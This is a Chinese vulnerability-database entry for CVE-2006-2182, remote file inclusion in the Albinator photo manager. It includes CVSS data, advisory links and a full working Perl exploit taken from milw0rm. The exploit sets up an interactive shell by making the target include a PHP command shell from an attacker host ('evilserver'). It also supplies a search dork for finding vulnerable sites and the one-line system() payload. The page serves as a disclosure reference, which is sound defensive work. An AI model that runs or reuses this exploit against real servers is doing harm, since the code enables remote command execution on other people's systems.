CVE-2006-2182
CVSS6.4
发布时间 :2006-05-04 08:38:00
修订时间 :2011-03-07 21:35:30
NMCOE    

[原文]Multiple PHP remote file inclusion vulnerabilities in (1) eday.php, (2) eshow.php, or (3) forgot.php in albinator 2.0.8 and earlier allow remote attackers to execute arbitrary PHP code via a URL in the Config_rootdir parameter.


[CNNVD]Albinator Config_rootdir变量 远程文件包含漏洞(CNNVD-200605-064)

        Albinator是一种基于Web的图片组织及管理工具。
        Albinator在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
        Albinator的多个脚本没有正确验证Config_rootdir参数的输入,允许攻击者通过包含本地或外部资源任意文件导致执行任意PHP代码。

- CVSS (基础分值)

CVSS分值: 6.4 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: NONE [对系统可用性无影响]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2182
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-2182
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200605-064
(官方数据源) CNNVD

- 其它链接及资源

http://www.vupen.com/english/advisories/2006/1643
(UNKNOWN)  VUPEN  ADV-2006-1643
http://www.securityfocus.com/bid/17825
(UNKNOWN)  BID  17825
http://www.osvdb.org/25241
(UNKNOWN)  OSVDB  25241
http://www.osvdb.org/25240
(UNKNOWN)  OSVDB  25240
http://www.osvdb.org/25239
(UNKNOWN)  OSVDB  25239
http://secunia.com/advisories/19952
(UNKNOWN)  SECUNIA  19952
http://pridels0.blogspot.com/2006/05/albinator-208-remote-file-inclusion.html
(UNKNOWN)  MISC  http://pridels0.blogspot.com/2006/05/albinator-208-remote-file-inclusion.html

- 漏洞信息

Albinator Config_rootdir变量 远程文件包含漏洞
中危 输入验证
2006-05-04 00:00:00 2006-05-04 00:00:00
远程  
        Albinator是一种基于Web的图片组织及管理工具。
        Albinator在处理用户请求时存在输入验证漏洞,远程攻击者可能利用此漏洞在服务器上以Web进程权限执行任意命令。
        Albinator的多个脚本没有正确验证Config_rootdir参数的输入,允许攻击者通过包含本地或外部资源任意文件导致执行任意PHP代码。

- 公告与补丁

        目前厂商还没有提供补丁或者升级程序,建议使用此软件的用户随时关注厂商的主页以获取最新版本:
        http://www.albinator.com/product/index.php

- 漏洞信息 (1744)

Albinator <= 2.0.6 (Config_rootdir) Remote File Inclusion Exploit (EDBID:1744)
php webapps
2006-05-03 Verified
0 webDEViL
N/A [点击下载]
#!/usr/bin/perl
##
#Albinator Multiple Parameter File Inclusion 
# Bug discovered by VietMafia and r0t
# code copier: webDEViL w3bd3vil[at]gmail.com
#code same as Fast Click <= 2.3.8 Remote File Inclusion exploit
#Dork:"powered by Albinator "
# usage:
# perl wb.pl <target> <cmd shell location> <cmd shell variable>
# perl wb.pl http://vulnerable.com/ http://target.com/cmd.gif cmd
# cmd shell example: <?system($cmd);?>
# cmd shell variable: ($_GET[cmd]);

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'eshow.php?Config_rootdir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; 
## can change eshow.php to eday.php or forgot.php

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)

{
      $finreturn = $1;
      $finreturn=~ tr/[ê]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
 {
 print "\n============================================================================\r\n";
 print " Albinator Multiple Parameter File Inclusion\r\n";
 print "============================================================================\r\n";
 }
sub usage()
 {
 head();
 print " Usage: perl wb.pl <target> <cmd shell location> <cmd shell variable>\r\n\n";
 print " <Site> - Full path to Albinator ex: http://www.site.com/ \r\n";
 print " <cmd shell> - Path to cmd Shell e.g http://evilserver/cmd.gif \r\n";
 print " <cmd variable> - Command variable used in php shell \r\n";
 print "============================================================================\r\n";
 print "                          webDEViL w3bd3vil[at]gmail.com \r\n";
 print "============================================================================\r\n";
 exit();
 }

# milw0rm.com [2006-05-03]
		

- 漏洞信息

25239
Albinator eday.php Config_rootdir Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity

- 漏洞描述

Albinator contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to the 'eday.php' not properly sanitizing user input supplied to the 'Config_rootdir' variable. This may allow an attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

- 时间线

2006-05-03 Unknow
Unknow Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站